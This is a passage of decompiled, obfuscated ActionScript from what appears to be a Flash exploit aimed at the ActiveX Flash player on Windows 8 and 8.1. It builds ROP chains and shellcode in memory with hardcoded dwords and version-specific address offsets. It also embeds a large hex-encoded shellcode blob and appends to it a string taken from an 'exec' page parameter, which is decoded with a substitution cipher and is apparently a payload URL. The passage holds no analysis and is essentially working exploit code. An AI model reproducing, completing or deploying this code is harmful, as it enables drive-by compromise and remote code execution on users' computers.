            this._SafeStr_119(_local8, this._SafeStr_90);
  647 
            _local8 = (_local8 + 4);
  648 
            this._SafeStr_119(_local8, this._SafeStr_82);
  649 
            _local8 = (_local8 + 4);
  650 
            this._SafeStr_119(_local8, (_local8 + 20));
  651 
            _local8 = (_local8 + 4);
  652 
            this._SafeStr_119(_local8, this._SafeStr_59);
  653 
            _local8 = (_local8 + 4);
  654 
            this._SafeStr_119(_local8, 0x2000);
  655 
            _local8 = (_local8 + 4);
  656 
            this._SafeStr_119(_local8, 0x1000);
  657 
            _local8 = (_local8 + 4);
  658 
            this._SafeStr_119(_local8, 64);
  659 
            _local8 = (_local8 + 4);
  660 
            this._SafeStr_119(_local8, 2943072);
  661 
            _local8 = (_local8 + 4);
  662 
            this._SafeStr_119(_local8, 0xC6610000);
  663 
            _local8 = (_local8 + 4);
  664 
            this._SafeStr_119(_local8, 0x89000447);
  665 
            _local8 = (_local8 + 4);
  666 
            this._SafeStr_119(_local8, 3224501492);
  667 
            _local8 = (_local8 + 4);
  668 
            this._SafeStr_119(_local8, 3213711176);
  669 
            _local8 = (_local8 + 4);
  670 
            this._SafeStr_119(_local8, 0xFFFFFE80);
  671 
            _local8 = (_local8 + 4);
  672 
            this._SafeStr_119(_local8, 3104065417);
  673 
            _local8 = (_local8 + 4);
  674 
            this._SafeStr_119(_local8, 0x0200);
  675 
            _local8 = (_local8 + 4);
  676 
            this._SafeStr_119(_local8, 2868104961);
  677 
            _local8 = (_local8 + 4);
  678 
            this._SafeStr_119(_local8, 3355347295);
  679 
            _local8 = (_local8 + 4);
  680 
            this._SafeStr_119(_local8, 6214);
  681 
            _local8 = (_local8 + 4);
  682 
            this._SafeStr_119(_local8, 0xC4830000);
  683 
            _local8 = (_local8 + 4);
  684 
            this._SafeStr_119(_local8, 2425406216);
  685 
            _local8 = (_local8 + 4);
  686 
            var _local9:ByteArray = new ByteArray();
  687 
            _local9 = h2ba(_local9, _arg_x);
  688 
            _local9.endian = "littleEndian";
  689 
            _local9.position = 0;
  690 
            while (_local9.position < _local9.length) {
  691 
                _local10 = _local9.readUnsignedInt();
  692 
                this._SafeStr_119(_local8, _local10);
  693 
                _local8 = (_local8 + 4);
  694 
            };
  695 
        }
  696 
        function writeBytes(ba:ByteArray, hex:String):ByteArray{
  697 
            var _local5:int;
  698 
            var _local3:int;
  699 
            ba.position = ba.length;
  700 
            var _local4:uint = hex.length;
  701 
            _local5 = 0;
  702 
            while (_local5 < _local4) {
  703 
                _local3 = ("0x" + hex.substr(_local5, 2));
  704 
                ba.writeByte(_local3);
  705 
                _local5 = (_local5 + 2);
  706 
            };
  707 
            return (ba);
  708 
        }
  709 
        final private function _SafeStr_138():Boolean{
  710 
            var _local1:uint = (this._SafeStr_36 - 1);
  711 
            this._SafeStr_53[_local1] = this._SafeStr_58;
  712 
            this._SafeStr_53.length = (this._SafeStr_44 * 2);
  713 
            this._SafeStr_135();
  714 
            return (true);
  715 
        }
  716 
        final private function _SafeStr_141():void{
  717 
            this._SafeStr_53.length = (this._SafeStr_44 * 2);
  718 
        }
  719 
        final private function _SafeStr_142():Boolean{
  720 
            if (!_SafeStr_12._SafeStr_142(this._SafeStr_106, this.static, this._SafeStr_108, this._SafeStr_57)){
  721 
                return (false);
  722 
            };
  723 
            this._SafeStr_80 = _SafeStr_12._SafeStr_80;
  724 
            this._SafeStr_81 = _SafeStr_12._SafeStr_81;
  725 
            this._SafeStr_82 = _SafeStr_12._SafeStr_82;
  726 
            this._SafeStr_93 = _SafeStr_12._SafeStr_93;
  727 
            this._SafeStr_94 = _SafeStr_12._SafeStr_94;
  728 
            this._SafeStr_95 = _SafeStr_12._SafeStr_95;
  729 
            this._SafeStr_96 = _SafeStr_12._SafeStr_96;
  730 
            this._SafeStr_97 = _SafeStr_12._SafeStr_97;
  731 
            this._SafeStr_98 = _SafeStr_12._SafeStr_98;
  732 
            return (true);
  733 
        }
  734 
        final private function _SafeStr_143(_arg_x:String):void{
  735 
            var _local11:int;
  736 
            var _local12:uint = 0x1200;
  737 
            var _local3:uint = (this._SafeStr_48 - _local12);
  738 
            var _local2:uint = this._SafeStr_78;
  739 
            this._SafeStr_59 = (_local2 + _local3);
  740 
            var _local5:uint = 0x0400;
  741 
            var _local4:uint = (_local3 - _local5);
  742 
            this._SafeStr_58 = (_local2 + _local4);
  743 
            var _local7:uint = (this._SafeStr_58 + 384);
  744 
            this._SafeStr_119((this._SafeStr_58 + 8), 65536);
  745 
            this._SafeStr_119((this._SafeStr_58 + 484), 0);
  746 
            this._SafeStr_119((this._SafeStr_58 + 528), _local7);
  747 
            this._SafeStr_119((this._SafeStr_58 + 532), this._SafeStr_91);
  748 
            this._SafeStr_119(_local7, this._SafeStr_59);
  749 
            this._SafeStr_119((_local7 + 4), this._SafeStr_91);
  750 
            this._SafeStr_119((_local7 + 8), 1);
  751 
            var _local6:uint = 0x0300;
  752 
            while (_local6 < _local5) {
  753 
                this._SafeStr_119((this._SafeStr_58 + _local6), 3735929054);
  754 
                _local6 = (_local6 + 4);
  755 
            };
  756 
            var _local8:uint = 0x0100;
  757 
            var _local10:uint = this._SafeStr_59;
  758 
            this._SafeStr_119(_local10, this._SafeStr_81);
  759 
            _local10 = (_local10 + 4);
  760 
            this._SafeStr_119(_local10, this._SafeStr_92);
  761 
            _local10 = (_local10 + 4);
  762 
            this._SafeStr_119(_local10, this._SafeStr_80);
  763 
            _local10 = (_local10 + 4);
  764 
            this._SafeStr_119(_local10, this._SafeStr_92);
  765 
            _local10 = (_local10 + 4);
  766 
            this._SafeStr_119(_local10, this._SafeStr_93);
  767 
            _local10 = (_local10 + 4);
  768 
            this._SafeStr_119(_local10, this._SafeStr_92);
  769 
            _local10 = (_local10 + 4);
  770 
            this._SafeStr_119(_local10, 64);
  771 
            _local10 = (_local10 + 4);
  772 
            this._SafeStr_119(_local10, 0);
  773 
            _local10 = (_local10 + 4);
  774 
            this._SafeStr_119(_local10, this._SafeStr_97);
  775 
            _local10 = (_local10 + 4);
  776 
            this._SafeStr_119(_local10, this._SafeStr_92);
  777 
            _local10 = (_local10 + 4);
  778 
            _local10 = (_local10 + 40);
  779 
            this._SafeStr_119(_local10, this._SafeStr_94);
  780 
            _local10 = (_local10 + 4);
  781 
            this._SafeStr_119(_local10, this._SafeStr_92);
  782 
            _local10 = (_local10 + 4);
  783 
            this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
  784 
            _local10 = (_local10 + 4);
  785 
            this._SafeStr_119(_local10, this._SafeStr_91);
  786 
            _local10 = (_local10 + 4);
  787 
            this._SafeStr_119(_local10, this._SafeStr_95);
  788 
            _local10 = (_local10 + 4);
  789 
            this._SafeStr_119(_local10, this._SafeStr_92);
  790 
            _local10 = (_local10 + 4);
  791 
            this._SafeStr_119(_local10, 0x2000);
  792 
            _local10 = (_local10 + 4);
  793 
            this._SafeStr_119(_local10, 0);
  794 
            _local10 = (_local10 + 4);
  795 
            this._SafeStr_119(_local10, this._SafeStr_96);
  796 
            _local10 = (_local10 + 4);
  797 
            this._SafeStr_119(_local10, this._SafeStr_92);
  798 
            _local10 = (_local10 + 4);
  799 
            this._SafeStr_119(_local10, 0x101000);
  800 
            _local10 = (_local10 + 4);
  801 
            this._SafeStr_119(_local10, 0);
  802 
            _local10 = (_local10 + 4);
  803 
            this._SafeStr_119(_local10, this._SafeStr_82);
  804 
            _local10 = (_local10 + 4);
  805 
            this._SafeStr_119(_local10, this._SafeStr_92);
  806 
            _local10 = (_local10 + 4);
  807 
            this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
  808 
            _local10 = (_local10 + 4);
  809 
            this._SafeStr_119(_local10, this._SafeStr_91);
  810 
            _local10 = (_local10 + 4);
  811 
            _local10 = (this._SafeStr_59 + _local8);
  812 
            this._SafeStr_119(_local10, 2202598544);
  813 
            _local10 = (_local10 + 4);
  814 
            this._SafeStr_119(_local10, 1413607652);
  815 
            _local10 = (_local10 + 4);
  816 
            this._SafeStr_119(_local10, 2202555713);
  817 
            _local10 = (_local10 + 4);
  818 
            this._SafeStr_119(_local10, 1994932460);
  819 
            _local10 = (_local10 + 4);
  820 
            this._SafeStr_119(_local10, 0x48000000);
  821 
            _local10 = (_local10 + 4);
  822 
            this._SafeStr_119(_local10, 1094763651);
  823 
            _local10 = (_local10 + 4);
  824 
            this._SafeStr_119(_local10, 2421965149);
  825 
            _local10 = (_local10 + 4);
  826 
            this._SafeStr_119(_local10, 3209203856);
  827 
            _local10 = (_local10 + 4);
  828 
            this._SafeStr_119(_local10, (this._SafeStr_54 - 16));
  829 
            _local10 = (_local10 + 4);
  830 
            this._SafeStr_119(_local10, this._SafeStr_91);
  831 
            _local10 = (_local10 + 4);
  832 
            this._SafeStr_119(_local10, 3096481936);
  833 
            _local10 = (_local10 + 4);
  834 
            this._SafeStr_119(_local10, this._SafeStr_44);
  835 
            _local10 = (_local10 + 4);
  836 
            this._SafeStr_119(_local10, 3209168777);
  837 
            _local10 = (_local10 + 4);
  838 
            this._SafeStr_119(_local10, _local7);
  839 
            _local10 = (_local10 + 4);
  840 
            this._SafeStr_119(_local10, this._SafeStr_91);
  841 
            _local10 = (_local10 + 4);
  842 
            this._SafeStr_119(_local10, 542662);
  843 
            _local10 = (_local10 + 4);
  844 
            this._SafeStr_119(_local10, 3372204081);
  845 
            _local10 = (_local10 + 4);
  846 
            this._SafeStr_119(_local10, 2160037192);
  847 
            _local10 = (_local10 + 4);
  848 
            this._SafeStr_119(_local10, 1224736766);
  849 
            _local10 = (_local10 + 4);
  850 
            this._SafeStr_119(_local10, 1200224905);
  851 
            _local10 = (_local10 + 4);
  852 
            this._SafeStr_119(_local10, 16824584);
  853 
            _local10 = (_local10 + 4);
  854 
            this._SafeStr_119(_local10, 0x8D480000);
  855 
            _local10 = (_local10 + 4);
  856 
            this._SafeStr_119(_local10, 196799);
  857 
            _local10 = (_local10 + 4);
  858 
            this._SafeStr_119(_local10, 0x65AAF300);
  859 
            _local10 = (_local10 + 4);
  860 
            this._SafeStr_119(_local10, 621054792);
  861 
            _local10 = (_local10 + 4);
  862 
            this._SafeStr_119(_local10, 16);
  863 
            _local10 = (_local10 + 4);
  864 
            this._SafeStr_119(_local10, 3100019016);
  865 
            _local10 = (_local10 + 4);
  866 
            this._SafeStr_119(_local10, this._SafeStr_98);
  867 
            _local10 = (_local10 + 4);
  868 
            this._SafeStr_119(_local10, 147227464);
  869 
            _local10 = (_local10 + 4);
  870 
            this._SafeStr_119(_local10, 4168418873);
  871 
            _local10 = (_local10 + 4);
  872 
            this._SafeStr_119(_local10, 1223723336);
  873 
            _local10 = (_local10 + 4);
  874 
            if (!this._SafeStr_105){
  875 
                this._SafeStr_119(_local10, 2370361225);
  876 
                _local10 = (_local10 + 4);
  877 
                this._SafeStr_119(_local10, 98458);
  878 
                _local10 = (_local10 + 4);
  879 
            } else {
  880 
                this._SafeStr_119(_local10, 2370360969);
  881 
                _local10 = (_local10 + 4);
  882 
                this._SafeStr_119(_local10, 98490);
  883 
                _local10 = (_local10 + 4);
  884 
            };
  885 
            this._SafeStr_119(_local10, 0xC4894800);
  886 
            _local10 = (_local10 + 4);
  887 
            this._SafeStr_119(_local10, 2425393347);
  888 
            _local10 = (_local10 + 4);
  889 
            var _local9:ByteArray = new ByteArray();
  890 
            _local9 = h2ba(_local9, _arg_x);
  891 
            _local9.endian = "littleEndian";
  892 
            _local9.position = 0;
  893 
            while (_local9.position < _local9.length) {
  894 
                _local11 = _local9.readUnsignedInt();
  895 
                this._SafeStr_119(_local10, _local11);
  896 
                _local10 = (_local10 + 4);
  897 
            };
  898 
        }
  899 
        final private function _SafeStr_144():Boolean{
  900 
            var _local2:uint = ((this._SafeStr_47 - 8) / 4);
  901 
            this._SafeStr_53[_local2] = this._SafeStr_58;
  902 
            var _local3:uint = (this._SafeStr_52 + 1);
  903 
            var _local1:Vector.<uint> = (this._SafeStr_51[_local3] as Vector.<uint>);
  904 
            _local1.length = (this._SafeStr_44 * 2);
  905 
            return (true);
  906 
        }
  907 
        function func_decodestr(str:String, src_table:String, dest_table:String){
  908 
            var _local6:int;
  909 
            var _local5:int;
  910 
            var _local4:String = "";
  911 
            _local6 = 0;
  912 
            while (_local6 < str.length) {
  913 
                _local5 = src_table["indexOf"](str["charAt"](_local6));
  914 
                if (_local5 > -1){
  915 
                    _local4 = (_local4 + dest_table["charAt"](_local5));
  916 
                };
  917 
                _local6++;
  918 
            };
  919 
            return (_local4);
  920 
        }
  921 
        function func_strdecode(url:String){
  922 
            var _local3:String = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  923 
            var _local2:String = "LMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ";
  924 
            return (func_decodestr(url, _local2, _local3));
  925 
        }
  926 
        final private function _SafeStr_146(_arg_1:String):Boolean{
  927 
            var _local3:String = "60eb1158b9b4040000498034081985c975f7ffe0e8eafffffff10b19191978f0b11d1919f119191919413430095919da4c92f59af5454fa04b087652f1041b1919a00b7b3067905cbdf1091b1919a0dae42868905ca9f11a1b1919a0728dc2e6905cadf1ef181919a09b834e21905ca1f1f0181919a0ddba2825905cd9f1c5181919a0bc012343905cd1f1d6181919a034363f66905cddf1db181919a02f5a2f4f905cd5f1ac181919a0a5f832f3905cc9f1b1181919a0dd7cb054905ccdf182181919a0dacb1cfc905cc1f197181919a0538dafd0905cc5f198181919a056f5ce4c905cf9f16d181919a09f8b3363905cfdf17e181919a01ba9709d905cf5f143181919a033a4d3b8905ce9f1541819192aef4f905ced945cbd4f49f11ae6e6e61c290a5919494f4fe64cd992e973e64fe64cd14fe64ca92ad947d0da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a25e66d3d314e4e4fe64a5971199919194e4fe64a094e4ee66d3d29e66d3d294ee64a499cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a2992e99ae7e6169d821919194e4fe64a2d905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a31925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a214e945d3d0d49e66d3d014c4fe64a3571199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c69af5754a4c4f4ef19f18191992ad3d9919191992f12ac2935ce5efc9915d3d0a90453d0590453d3990453d3d731d7119091919711d1c19194ae64f0d92e192cc949e191d1919905d3d0d937d3d0a90653d0192d632ce931d132bdd91186d135a5898e2191d19196ff49cc2169d0c18191992de2ad09921196d01905d9505930999e3226d1e599dcb6cedf212df191959f21c9a7d950519589ae01a6bc192653d05931e25286d11252b169cce191919e66d3d0d924d3d3de66d3d3192d7f152e4e6e640409cd9169dba191919931e2528169c97191919735d2acb46908d3d9919191992d6945d3d21910959506ce3730940945d3d31910959506ce3949d3d9919191949719219191973e690653d5de64f51945d3d3149945d3d25492ad949494949494949e66d3d21e6ad3db1191919e64f559aa53d99191919196d13e6ad3d99191919e64f159a653d35196d1ee66d3d35e64f159a653d31196d0de66d3d31e64f15f212252b6c1ee66d3d0de64f395c1af271199919192ac24ae66d3d39e64f09f0bfe7e6e64647442ad9429add75db1d19f119191919419ad913dadae6e6e6e6";
  928 
            var _local2:String = (_local3 + func_strdecode(_arg_1));
  929 
            if (!this._SafeStr_114()){
  930 
            };
  931 
            this._SafeStr_124();
  932 
            this._SafeStr_126();
  933 
            if (!this._SafeStr_129()){
  934 
                return (false);
  935 
            };
  936 
            if (!this._SafeStr_130()){
  937 
                return (false);
  938 
            };
  939 
            if (!this._SafeStr_131()){
  940 
                return (false);
  941 
            };
  942 
            var _local4:Boolean = this._SafeStr_134();
  943 
            if (!this._SafeStr_33){
  944 
                if (!_local4){
  945 
                    this._SafeStr_135();
  946 
                    return (false);
  947 
                };
  948 
                if (!this._SafeStr_136()){
  949 
                    this._SafeStr_135();
  950 
                    return (false);
  951 
                };
  952 
                this._SafeStr_137(_local2);
  953 
                if (!this._SafeStr_138()){
  954 
                    this._SafeStr_135();
  955 
                    return (false);
  956 
                };
  957 
            } else {
  958 
                if (!_local4){
  959 
                    this._SafeStr_141();
  960 
                    return (false);
  961 
                };
  962 
                if (!this._SafeStr_142()){
  963 
                    this._SafeStr_141();
  964 
                    return (false);
  965 
                };
  966 
                this._SafeStr_143(_local2);
  967 
                if (!this._SafeStr_144()){
  968 
                    this._SafeStr_141();
  969 
                    return (false);
  970 
                };
  971 
            };
  972 
            return (true);
  973 
        }
  974 
        final private function _SafeStr_112(_arg_1:Event=null):void{
  975 
            removeEventListener("addedToStage", this._SafeStr_112);
  976 
            this._SafeStr_23 = 1;
  977 
            var _local2 = stage.loaderInfo.parameters["exec"];
  978 
            if ((((_local2 == null)) || ((_local2 == undefined)))){
  979 
                return;
  980 
            };
  981 
            this._SafeStr_146(_local2.toString());
  982 
        }
  983 
 
  984 
    }
  985 
}//package
  986 
package {
  987 
 
  988 
    public final class _SafeStr_12 {
  989 
 
  990 
        public static var _SafeStr_80:uint = 0;
  991 
        public static var _SafeStr_81:uint = 0;
  992 
        public static var _SafeStr_82:uint = 0;
  993 
        public static var _SafeStr_93:uint = 0;
  994 
        public static var _SafeStr_94:uint = 0;
  995 
        public static var _SafeStr_95:uint = 0;
  996 
        public static var _SafeStr_96:uint = 0;
  997 
        public static var _SafeStr_97:uint = 0;
  998 
        public static var _SafeStr_98:uint = 0;
  999 
 
 1000 
        public static function _SafeStr_142(_arg_1:String, _arg_2:String, _arg_3:uint, _arg_4:uint):Boolean{
 1001 
            var _local13:int;
 1002 
            var _local14:int;
 1003 
            var _local15:int;
 1004 
            var _local16:int;
 1005 
            var _local17:int;
 1006 
            var _local18:int;
 1007 
            var _local19:int;
 1008 
            var _local5:int;
 1009 
            var _local6:int;
 1010 
            var _local7:int;
 1011 
            if (_arg_1 != "activex"){
 1012 
                return (false);
 1013 
            };
 1014 
            var _local10 = (_arg_2 == "windows 8");
 1015 
            var _local8 = (_arg_2 == "windows 8.1");
 1016 
            var _local12:Boolean = _local8;
 1017 
            var _local11:Boolean = ((((_local10) || (_local8))) || (_local12));
 1018 
            var _local20 = _arg_3;
 1019 
            while (3956512838 === _local20) {
 1020 
                if (_local11){
 1021 
                    _local14 = 2147859514;
 1022 
                    _local5 = 2147904066;
 1023 
                    _local18 = 2147904067;
 1024 
                    _local17 = 2148461635;
 1025 
                    _local19 = 2148891014;
 1026 
                    _local15 = 2154535354;
 1027 
                    _local16 = 2157655180;
 1028 
                    _local6 = 2151133465;
 1029 
                    _local13 = 2170296816;
 1030 
                    _local7 = 2157611657;
 1031 
                } else {
 1032 
                    _local17 = 0x3000D827;
 1033 
                    _local19 = 0x3000EE55;
 1034 
                    _local18 = 805389348;
 1035 
                    _local14 = 805919281;
 1036 
                    _local5 = 807579815;
 1037 
                    _local6 = 813245589;
 1038 
                    _local15 = 813482122;
 1039 
                    _local16 = 813686156;
 1040 
                    _local13 = 827511272;
 1041 
                    _local7 = 813671256;
 1042 
                };
 1043 
                //unresolved jump
 1044 
                if (_local11){
 1045 
                    _local14 = 2147859354;
 1046 
                    _local5 = 2147903842;
 1047 
                    _local18 = 2147903843;
 1048 
                    _local17 = 2148469376;
 1049 
                    _local19 = 2148890038;
 1050 
                    _local15 = 2154533978;
 1051 
                    _local16 = 2157654428;
 1052 
                    _local6 = 2151133273;
 1053 
                    _local13 = 2170296816;
 1054 
                    _local7 = 2157610921;
 1055 
                } else {
 1056 
                    _local17 = 0x3000D8F7;
 1057 
                    _local19 = 0x3000EF25;
 1058 
                    _local18 = 805389556;
 1059 
                    _local14 = 805919665;
 1060 
                    _local5 = 807579111;
 1061 
                    _local6 = 813244501;
 1062 
                    _local15 = 813481038;
 1063 
                    _local16 = 813685036;
 1064 
                    _local13 = 827511272;
 1065 
                    _local7 = 813670168;
 1066 
                };
 1067 
                //unresolved jump
 1068 
                if (_local11){
 1069 
                    return (false);
 1070 
                };
 1071 
                _local17 = 0x3000DAC7;
 1072 
                _local19 = 0x3000F105;
 1073 
                _local18 = 805605618;
 1074 
                _local14 = 805920657;
 1075 
                _local5 = 807580075;
 1076 
                _local6 = 813243205;
 1077 
                _local15 = 813479762;
 1078 
                _local16 = 813683756;
 1079 
                _local13 = 827507144;
 1080 
                _local7 = 813668856;
 1081 
                //unresolved jump
 1082 
                if (_local11){
 1083 
                    return (false);
 1084 
                };
 1085 
                _local17 = 0x3000DBB7;
 1086 
                _local19 = 0x3000F1F5;
 1087 
                _local18 = 805605098;
 1088 
                _local14 = 805915841;
 1089 
                _local5 = 807554151;
 1090 
                _local6 = 813048721;
 1091 
                _local15 = 813285258;
 1092 
                _local16 = 813489180;
 1093 
                _local13 = 826992400;
 1094 
                _local7 = 813474312;
 1095 
                //unresolved jump
 1096 
                if (_local11){
 1097 
                    return (false);
 1098 
                };
 1099 
                _local17 = 0x3000D887;
 1100 
                _local19 = 0x3000EEC5;
 1101 
                _local18 = 805604438;
 1102 
                _local14 = 805915153;
 1103 
                _local5 = 807554075;
 1104 
                _local6 = 813048529;
 1105 
                _local15 = 813285066;
 1106 
                _local16 = 813488988;
 1107 
                _local13 = 826992400;
 1108 
                _local7 = 813474120;
 1109 
                //unresolved jump
 1110 
                return (false);
 1111 
            };
 1112 
            //unresolved if
 1113 
            //unresolved if
 1114 
            //unresolved if
 1115 
            //unresolved if
 1116 
            //unresolved jump
 1117 
            var _local9:uint = (_arg_4 - _local13);
 1118 
            _SafeStr_81 = (_local9 + _local14);
 1119 
            _SafeStr_80 = (_local9 + _local15);
 1120 
            _SafeStr_82 = (_local9 + _local16);
 1121 
            _SafeStr_94 = (_local9 + _local17);
 1122 
            _SafeStr_93 = (_local9 + _local18);
 1123 
            _SafeStr_95 = (_local9 + _local19);
 1124 
            _SafeStr_96 = (_local9 + _local5);
 1125 
            _SafeStr_97 = (_local9 + _local6);
 1126 
            _SafeStr_98 = (_local9 + _local7);
 1127 
            return (true);
 1128 
        }
 1129 
 
 1130 
    }
 1131 
}//package